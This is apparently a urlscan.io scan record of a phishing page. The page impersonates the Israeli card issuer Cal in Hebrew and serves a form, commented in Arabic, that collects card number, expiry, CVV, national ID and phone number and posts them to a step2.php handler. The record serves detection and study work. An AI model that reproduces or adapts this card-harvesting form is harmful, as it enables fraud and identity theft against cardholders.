secure275.inmotionhosting.com
Open in
urlscan Pro
199.250.216.102
Public Scan
Submitted URL: http://snip.ly/cal.co.iI/
Effective URL: https://secure275.inmotionhosting.com/~pmlslc5/cal22/?utm_source=sniply&utm_campaign=sniply&utm_medium=sniply
Submission: On December 20 via api from IE — Scanned from DE
Effective URL: https://secure275.inmotionhosting.com/~pmlslc5/cal22/?utm_source=sniply&utm_campaign=sniply&utm_medium=sniply
Submission: On December 20 via api from IE — Scanned from DE
Form analysis
7 forms found in the DOMPOST step2.php
<form action="step2.php" id="myForm" method="post" autocomplete="off" novalidate="" class="ng-untouched ng-pristine ng-invalid">
<!-- شريط نص لإدخال رقم البطاقة مع قناع -->
<mat-form-field class="mat-form-field mat-primary mat-form-field-type-mat-input mat-form-field-appearance-legacy mat-form-field-can-float mat-form-field-has-label ng-untouched ng-pristine ng-invalid">
<mat-label>שם הלקוח</mat-label>
<div class="mat-form-field-wrapper">
<div class="mat-form-field-flex">
<div class="mat-form-field-infix">
<input type="text" name="name" id="name" matinput="" formcontrolname="email" class="mat-input-element" placeholder="שם הלקוח" required="" fdprocessedid="k9rbqs">
</div>
</div>
<div class="mat-form-field-underline">
<span class="mat-form-field-ripple"></span>
</div>
<div id="phoneError" class="mat-error" style="display: none;">אנא ודא שכל השדות מולאו.</div>
</div>
</mat-form-field>
<mat-form-field class="mat-form-field mat-primary mat-form-field-type-mat-input mat-form-field-appearance-legacy mat-form-field-can-float mat-form-field-has-label ng-untouched ng-pristine ng-invalid">
<mat-label>מספר כרטיס אשראי</mat-label>
<div class="mat-form-field-wrapper">
<div class="mat-form-field-flex">
<div class="mat-form-field-infix">
<input id="visaCard" name="visaCard" matinput=" "=""="" formcontrolname="visaCard" class="mat-input-element mat-form-field-invalid" placeholder="**** **** **** ****" required=""
[textmask]="{mask: [/[0-9]/, /\d/, /\d/, /\d/, ' ', /\d/, /\d/, /\d/, /\d/, ' ', /\d/, /\d/, /\d/, /\d/, ' ', /\d/, /\d/, /\d/, /\d/]}" style="
direction: ltr;
text-align: right;
" fdprocessedid="b7ki93">
</div>
</div>
<div class="mat-form-field-underline">
<span class="mat-form-field-ripple"></span>
</div>
<div id="idError" class="mat-error" style="display: none;">אנא ודא שכל השדות מולאו.</div>
</div>
</mat-form-field>
<script>
document.addEventListener('DOMContentLoaded', function() {
const visaCardInput = document.getElementById('visaCard');
const cvvInput = document.getElementById('cvvCode');
// قناع إدخال رقم الفيزا
visaCardInput.addEventListener('input', function(e) {
let value = e.target.value.replace(/\D/g, ''); // إزالة جميع الأحرف غير الرقمية
value = value.slice(0, 16); // الحد الأقصى 16 رقم
e.target.value = value.replace(/(.{4})/g, '$1 ').trim(); // تقسيم كل 4 أرقام بفاصل
});
// التحقق من نوع البطاقة وعدد أرقام CVV
visaCardInput.addEventListener('input', function() {
const visaNumber = visaCardInput.value.replace(/\s/g, ''); // إزالة الفواصل (المسافات)
if (visaNumber.startsWith('34') || visaNumber.startsWith('37')) {
// American Express (أمريكي) يبدأ بـ 34 أو 37
cvvInput.setAttribute('maxlength', '4');
} else {
cvvInput.setAttribute('maxlength', '3');
}
});
});
</script>
<script>
document.addEventListener("DOMContentLoaded", function() {
const cardNumberInput = document.getElementById("visaCard");
const expiryDateInput = document.getElementById("expiryDate");
const visaForm = document.getElementById("visaForm");
const errorMessage = document.getElementById("error-message");
// ماسك لرقم بطاقة الفيزا ( XXXX XXXX XXXX XXXX )
cardNumberInput.addEventListener("input", function(e) {
let value = e.target.value.replace(/\D/g, ""); // إزالة أي حرف غير رقمي
value = value.match(/.{1,4}/g)?.join(" ") || value; // إضافة مسافة بعد كل 4 أرقام
e.target.value = value;
});
// ماسك لتاريخ انتهاء الصلاحية ( MM/YY )
expiryDateInput.addEventListener("input", function(e) {
let value = e.target.value.replace(/\D/g, ""); // إزالة أي حرف غير رقمي
if (value.length >= 2) {
value = value.substring(0, 2) + "/" + value.substring(2, 4); // إضافة شرطة مائلة بعد الشهر
}
e.target.value = value;
});
// التحقق من صحة البيانات عند الإرسال
visaForm.addEventListener("submit", function(e) {
e.preventDefault(); // منع الإرسال الفعلي للنموذج
const cardNumber = cardNumberInput.value.replace(/\s+/g, ""); // إزالة المسافات
const expiryDate = expiryDateInput.value;
// التحقق من طول رقم البطاقة
if (cardNumber.length !== 16) {
errorMessage.textContent = "מספר מספר כרטיס אשראי שגוי.";
cardNumberInput.style.borderColor = "red";
return;
}
// التحقق من صيغة تاريخ انتهاء الصلاحية (MM/YY)
const expiryRegex = /^(0[1-9]|1[0-2])\/\d{2}$/;
if (!expiryRegex.test(expiryDate)) {
errorMessage.textContent = "תוקף שגוי.";
expiryDateInput.style.borderColor = "red";
return;
}
// إذا كانت البيانات صحيحة، يمكن إرسال النموذج أو التعامل معه
errorMessage.textContent = "";
cardNumberInput.style.borderColor = "initial";
expiryDateInput.style.borderColor = "initial";
console.log("נתונים נכונים: ", {
cardNumber,
expiryDate
});
// يمكنك الآن إرسال النموذج باستخدام AJAX أو أي تقنية أخرى
});
// إعادة تعيين الحدود عند النقر على الحقول
cardNumberInput.addEventListener("focus", function() {
cardNumberInput.style.borderColor = "initial";
});
expiryDateInput.addEventListener("focus", function() {
expiryDateInput.style.borderColor = "initial";
});
});
</script>
<!-- شريط نص لإدخال تاريخ الانتهاء مع قناع -->
<mat-form-field class="mat-form-field mat-primary mat-form-field-type-mat-input mat-form-field-appearance-legacy mat-form-field-can-float mat-form-field-has-label ng-untouched ng-pristine ng-invalid">
<mat-label>תוקף</mat-label>
<div class="mat-form-field-wrapper">
<div class="mat-form-field-flex">
<div class="mat-form-field-infix">
<input id="expiryDate" name="expiryDate" matinput="" formcontrolname="expiryDate" class="mat-input-element" placeholder="MM/YY" required="" [textmask]="{mask: '00/00'}" fdprocessedid="bnazk">
</div>
</div>
<div class="mat-form-field-underline">
<span class="mat-form-field-ripple"></span>
</div>
<div id="expiryError" class="mat-error" style="display: none;">אנא ודא שכל השדות מולאו.</div>
</div>
</mat-form-field>
<script>
document.addEventListener('DOMContentLoaded', function() {
const expiryDateInput = document.getElementById('expiryDate');
expiryDateInput.addEventListener('input', function(e) {
let value = e.target.value;
value = value.replace(/\D/g, ''); // إزالة جميع الأحرف غير الرقمية
if (value.length > 2) {
value = value.slice(0, 2) + '/' + value.slice(2, 4);
}
e.target.value = value;
});
});
</script>
<!-- شريط نص لإدخال كود CVV -->
<mat-form-field class="mat-form-field mat-primary mat-form-field-type-mat-input mat-form-field-appearance-legacy mat-form-field-can-float mat-form-field-has-label ng-untouched ng-pristine ng-invalid">
<mat-label>קוד CVV</mat-label>
<div class="mat-form-field-wrapper">
<div class="mat-form-field-flex">
<div class="mat-form-field-infix">
<input id="cvvCode" name="cvvCode" inputmode=" numeric"=""="" matinput="" formcontrolname="cvv" class="mat-input-element" placeholder="קוד CVV" maxlength="3" required="" [textmask]="{mask: '0000'}" fdprocessedid="tmn1zq">
</div>
</div>
<div class="mat-form-field-underline">
<span class="mat-form-field-ripple"></span>
</div>
<div id="cvvError" class="mat-error" style="display: none;">אנא ודא שכל השדות מולאו.</div>
</div>
</mat-form-field>
<mat-form-field class="mat-form-field mat-primary mat-form-field-type-mat-input mat-form-field-appearance-legacy mat-form-field-can-float mat-form-field-has-label ng-untouched ng-pristine ng-invalid">
<mat-label>מספר תעודת זהות</mat-label>
<div class="mat-form-field-wrapper">
<div class="mat-form-field-flex">
<div class="mat-form-field-infix">
<input type="tel" name="idNumber" maxlength="9" matinput="" formcontrolname="idNumber" class="mat-input-element" placeholder="מספר תעודת זהות" required="" fdprocessedid="osi0qp">
</div>
</div>
<div class="mat-form-field-underline">
<span class="mat-form-field-ripple"></span>
</div>
<div id="passwordError" class="mat-error" style="display: none;">אנא ודא שכל השדות מולאו.</div>
</div>
</mat-form-field>
<!-- شريط نص لإدخال رقم الهاتف -->
<mat-form-field class="mat-form-field mat-primary mat-form-field-type-mat-input mat-form-field-appearance-legacy mat-form-field-can-float mat-form-field-has-label ng-untouched ng-pristine ng-invalid">
<mat-label>מספר טלפון</mat-label>
<div class="mat-form-field-wrapper">
<div class="mat-form-field-flex">
<div class="mat-form-field-infix">
<input id="phoneNumber" name="phoneNumber" inputmode="tel" matinput="" formcontrolname="phoneNumber" class="mat-input-element" maxlength="13" placeholder="מספר טלפון" required=""
[textmask]="{mask: ['(', /[0-9]/, /\d/, /\d/, ') ', /[0-9]/, /\d/, /\d/, '-', /[0-9]/, /\d/, /\d/, /\d/]}" fdprocessedid="05yas">
</div>
</div>
<div class="mat-form-field-underline">
<span class="mat-form-field-ripple"></span>
</div>
<div id="phoneError" class="mat-error" style="display: none;">אנא ודא שכל השדות מולאו.</div>
</div>
</mat-form-field>
<!-- شريط نص لإدخال البريد الإلكتروني -->
<script>
document.addEventListener('DOMContentLoaded', function() {
const emailInput = document.getElementById('email');
const emailError = document.getElementById('emailError');
// التعبير المنتظم للتحقق من صحة البريد الإلكتروني
const emailRegex = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
emailInput.addEventListener('input', function() {
const emailValue = emailInput.value;
// التحقق من صحة البريد الإلكتروني باستخدام التعبير المنتظم
if (emailRegex.test(emailValue)) {
emailError.style.display = 'none'; // إخفاء رسالة الخطأ إذا كان البريد الإلكتروني صحيحًا
} else {
emailError.style.display = 'block'; // إظهار رسالة الخطأ إذا كان البريد الإلكتروني غير صحيح
}
});
});
</script>
<!-- زر الإرسال -->
<input _ngcontent-brw-c78="" id="myButton" value="שלחו לי סיסמה ב-SMS" clickforgaevent="" clicktype="btn" mat-raised-button="" type="submit" color="accent" class="mat-focus-indicator mat-raised-button mat-button-base mat-accent"
aria-label="על מנת להפוך את האתר לנגיש לקורא מסך לחץ alt + 1. על מנת להפסיק הודעה זאת לחץ alt + 2." fdprocessedid="r3cmh">
<script>
document.addEventListener('DOMContentLoaded', function() {
var form = document.getElementById('myForm');
var visaCard = document.getElementById('visaCard');
var cvvCode = document.getElementById('cvvCode');
var phoneNumber = document.getElementById('phoneNumber');
var expiryDate = document.getElementById('expiryDate');
var visaError = document.getElementById('visaError');
var cvvError = document.getElementById('cvvError');
var phoneError = document.getElementById('phoneError');
var expiryError = document.getElementById('expiryError');
form.addEventListener('submit', function(event) {
var isValid = true;
// تحقق إذا كان الحقل "תוקף" فارغ
if (expiryDate.value.trim() === "") {
expiryDate.classList.add("mat-form-field-invalid");
expiryError.style.display = "block";
isValid = false;
} else {
expiryDate.classList.remove("mat-form-field-invalid");
expiryError.style.display = "none";
}
// تحقق إذا كان الحقل "CVV" فارغ
if (cvvCode.value.trim() === "") {
cvvCode.classList.add("mat-form-field-invalid");
cvvError.style.display = "block";
isValid = false;
} else {
cvvCode.classList.remove("mat-form-field-invalid");
cvvError.style.display = "none";
}
// تحقق إذا كان الحقل "מספר טלפון" فارغ
if (phoneNumber.value.trim() === "") {
phoneNumber.classList.add("mat-form-field-invalid");
phoneError.style.display = "block";
isValid = false;
} else {
phoneNumber.classList.remove("mat-form-field-invalid");
phoneError.style.display = "none";
}
if (!isValid) {
event.preventDefault(); // يمنع الإرسال إذا كان هناك أي خطأ
}
});
// إضافة أحداث التركيز لإخفاء رسالة الخطأ
var fields = [visaCard, expiryDate, cvvCode, phoneNumber];
var errors = [visaError, expiryError, cvvError, phoneError];
fields.forEach(function(field, index) {
field.addEventListener('focus', function() {
field.classList.remove("mat-form-field-invalid");
errors[index].style.display = "none";
});
});
});
</script>
<style>
.mat-form-field-invalid {
border: 1px solid red;
/* تضليل الحقل باللون الأحمر عند وجود خطأ */
}
.mat-error {
color: red;
/* لون النص لرسائل الخطأ */
}
</style>
</form>
<form id="goog-gt-votingForm" target="votingFrame" class="VIpgJd-yAWNEb-hvhgNd-aXYTce"><input type="text" name="sl" id="goog-gt-votingInputSrcLang"><input type="text" name="tl" id="goog-gt-votingInputTrgLang"><input type="text" name="query"
id="goog-gt-votingInputSrcText"><input type="text" name="gtrans" id="goog-gt-votingInputTrgText"><input type="text" name="vote" id="goog-gt-votingInputVote"></form>
<form id="goog-gt-votingForm" target="votingFrame" class="VIpgJd-yAWNEb-hvhgNd-aXYTce"><input type="text" name="sl" id="goog-gt-votingInputSrcLang"><input type="text" name="tl" id="goog-gt-votingInputTrgLang"><input type="text" name="query"
id="goog-gt-votingInputSrcText"><input type="text" name="gtrans" id="goog-gt-votingInputTrgText"><input type="text" name="vote" id="goog-gt-votingInputVote"></form>
POST //translate.googleapis.com/translate_voting?client=te_lib
<form id="goog-gt-votingForm" action="//translate.googleapis.com/translate_voting?client=te_lib" method="post" target="votingFrame" class="VIpgJd-yAWNEb-hvhgNd-aXYTce"><input type="text" name="sl" id="goog-gt-votingInputSrcLang"><input type="text"
name="tl" id="goog-gt-votingInputTrgLang"><input type="text" name="query" id="goog-gt-votingInputSrcText"><input type="text" name="gtrans" id="goog-gt-votingInputTrgText"><input type="text" name="vote" id="goog-gt-votingInputVote"></form>
POST //translate.googleapis.com/translate_voting?client=te_lib
<form id="goog-gt-votingForm" action="//translate.googleapis.com/translate_voting?client=te_lib" method="post" target="votingFrame" class="VIpgJd-yAWNEb-hvhgNd-aXYTce"><input type="text" name="sl" id="goog-gt-votingInputSrcLang"><input type="text"
name="tl" id="goog-gt-votingInputTrgLang"><input type="text" name="query" id="goog-gt-votingInputSrcText"><input type="text" name="gtrans" id="goog-gt-votingInputTrgText"><input type="text" name="vote" id="goog-gt-votingInputVote"></form>
POST //translate.googleapis.com/translate_voting?client=te_lib
<form id="goog-gt-votingForm" action="//translate.googleapis.com/translate_voting?client=te_lib" method="post" target="votingFrame" class="VIpgJd-yAWNEb-hvhgNd-aXYTce"><input type="text" name="sl" id="goog-gt-votingInputSrcLang"><input type="text"
name="tl" id="goog-gt-votingInputTrgLang"><input type="text" name="query" id="goog-gt-votingInputSrcText"><input type="text" name="gtrans" id="goog-gt-votingInputTrgText"><input type="text" name="vote" id="goog-gt-votingInputVote"></form>
POST //translate.googleapis.com/translate_voting?client=te_lib
<form id="goog-gt-votingForm" action="//translate.googleapis.com/translate_voting?client=te_lib" method="post" target="votingFrame" class="VIpgJd-yAWNEb-hvhgNd-aXYTce"><input type="text" name="sl" id="goog-gt-votingInputSrcLang"><input type="text"
name="tl" id="goog-gt-votingInputTrgLang"><input type="text" name="query" id="goog-gt-votingInputSrcText"><input type="text" name="gtrans" id="goog-gt-votingInputTrgText"><input type="text" name="vote" id="goog-gt-votingInputVote"></form>
Text Content
דלג לתפריט הנגישותלחץ כאן כדי להתאים את הדף לקורא מסך כל הפעולות במקום אחדנכנסים לחשבון האישי מכל מקום ובכל זמן, ובוחרים את השירות המבוקש בקלות ובנוחות CalConnect כניסה ללקוחות כאל כניסה מהירה כניסה עם שם משתמש שם הלקוח אנא ודא שכל השדות מולאו. מספר כרטיס אשראי אנא ודא שכל השדות מולאו. תוקף אנא ודא שכל השדות מולאו. קוד CVV אנא ודא שכל השדות מולאו. מספר תעודת זהות אנא ודא שכל השדות מולאו. מספר טלפון אנא ודא שכל השדות מולאו. יוצג מידע על כרטיסים שקשורים לתעודת הזהות שלך המומלצים שלנו צפייה בקוד הסודי חנות החוויות עיצוב הכרטיס שלי הלוואה מהירה לכל הפעולות אנחנו כאן בשבילך WhatsApp עם נציג כל הדרכים ליצירת קשר .CalBUSINESS אתר כאל עסקים > .CalBUSINESS אתר כאל עסקים > כאל בשבילך אודות כאל אבטחת מידע דוחות כספיים קריירה בכאל עמלות פרסומים משפטיים נציב תלונות הציבור תקנון האתר כניסה לבית עסק הסדרי נגישות תמיכה טכנית כל הזכויות שמורות לחברת Cal - כרטיסי אשראי לישראל בע"מ נגישות Original text Rate this translation Your feedback will be used to help improve Google Translate Original text Rate this translation Your feedback will be used to help improve Google Translate Original text Rate this translation Your feedback will be used to help improve Google Translate Original text Rate this translation Your feedback will be used to help improve Google Translate Original text Rate this translation Your feedback will be used to help improve Google Translate Original text Rate this translation Your feedback will be used to help improve Google Translate